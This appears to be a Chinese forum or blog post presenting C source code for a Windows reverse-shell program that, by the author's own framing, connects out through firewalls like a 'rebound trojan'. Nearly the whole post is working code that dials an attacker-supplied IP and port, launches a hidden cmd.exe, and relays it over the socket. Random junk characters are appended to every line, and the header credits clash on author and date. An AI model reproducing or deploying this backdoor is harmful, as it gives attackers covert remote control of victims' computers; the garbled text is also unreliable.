Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ~#HH;q_7m  
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/* ============================== c%xED%X9  
Rebound port in Windows NT KZp,=[t  
By wind,2006/7 ft~|  
===============================*/ !0!P.Q8>&  
#include oP43NN~  
#include m2-fi*Mgg  
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#pragma comment(lib,"wsock32.lib") Qwp\)jVi  
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void OutputShell(); 6ywnyh  
SOCKET sClient; @&i#S}%/  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zezofW]a  
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void main(int argc,char **argv) 6,V.j>z  
{ xy-$v   
WSADATA stWsaData; "2vNkO##  
int nRet; "FLD%3l  
SOCKADDR_IN stSaiClient,stSaiServer; )$lSG}WD  
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if(argc != 3) 2heWE  
{ c|R3,<Q]  
printf("Useage:\n\rRebound DestIP DestPort\n"); [#,X$O>  
return; m"?'hR2  
} ^Q43)H0
  
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WSAStartup(MAKEWORD(2,2),&stWsaData); :) Fp B"  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YfrTvKX  
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stSaiClient.sin_family = AF_INET; 9m#H24{V'  
stSaiClient.sin_port = htons(0); [6RV'7`Abj  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9`gGsC  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) MSYLkQ}_b  
{ KoQ_:`  
printf("Bind Socket Failed!\n"); tUAY]BJ*s  
return; P7BJ?x  
} K9z_
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stSaiServer.sin_family = AF_INET; 7,&]1+n  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )*$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m|?" k38  
9>$%F;JP44  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3/SqXu  
{ ]a%\Q2[c  
printf("Connect Error!"); -~Z@,  
return; ^) b7m  
} 9OJ\n|,(  
OutputShell(); ,n,7.m.D  
} l`5}i|4KTW  
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void OutputShell() UgP=k){  
{ tB(X`A.|  
char szBuff[1024]; ~E:/oV:4 >  
SECURITY_ATTRIBUTES stSecurityAttributes; m%$E[cUW!  
OSVERSIONINFO stOsversionInfo; {y%O_-C'r  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; KD<`-b)7<  
STARTUPINFO stStartupInfo; 5N}|VGN  
char *szShell; |"&4"nwa  
PROCESS_INFORMATION stProcessInformation; e/~<\  
unsigned long lBytesRead; ep1Ajz.l  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9K_HcLO%y  
stSecurityAttributes.lpSecurityDescriptor = 0; d`*vJ#$>2  
stSecurityAttributes.bInheritHandle = TRUE; KUV{]?'  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); wY)GX  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :7]R2J
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); blS4AQ?
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uB9+E%jOdQ  
stStartupInfo.wShowWindow = SW_HIDE; 6iS+3+  
stStartupInfo.hStdInput = hReadPipe; C_&tOt  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; sMo%Ayes  
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GetVersionEx(&stOsversionInfo); )7TTRL  
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switch(stOsversionInfo.dwPlatformId) 4}
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{ RozsRt;i  
case 1: [IW7]Fv<F  
szShell = "command.com"; <0MUn#7'  
break; $a]dxRkz  
default: X> KsbOZ  
szShell = "cmd.exe"; .5zJ bZ9  
break; Kqjeqr@)  
} e1a%Rj~  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j|w+=A1  
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send(sClient,szMsg,77,0); Gj0NN:  
while(1) 2Ki/K(  
{ q3:' 69  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r-uIFhV^  
if(lBytesRead) ;W"[,#2TM  
{ w|ei*L  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "*WXr$  
send(sClient,szBuff,lBytesRead,0); ld6@&34  
} 60$   
else h Nw
b.[  
{ j_g9RmZT  
lBytesRead=recv(sClient,szBuff,1024,0); R["7%|RV  
if(lBytesRead<=0) break; M?`06jQD.  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }9dgm[C[b  
} w9BH>56/"  
} Cm>F5$l{  
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return; )}8%Gs4C  
}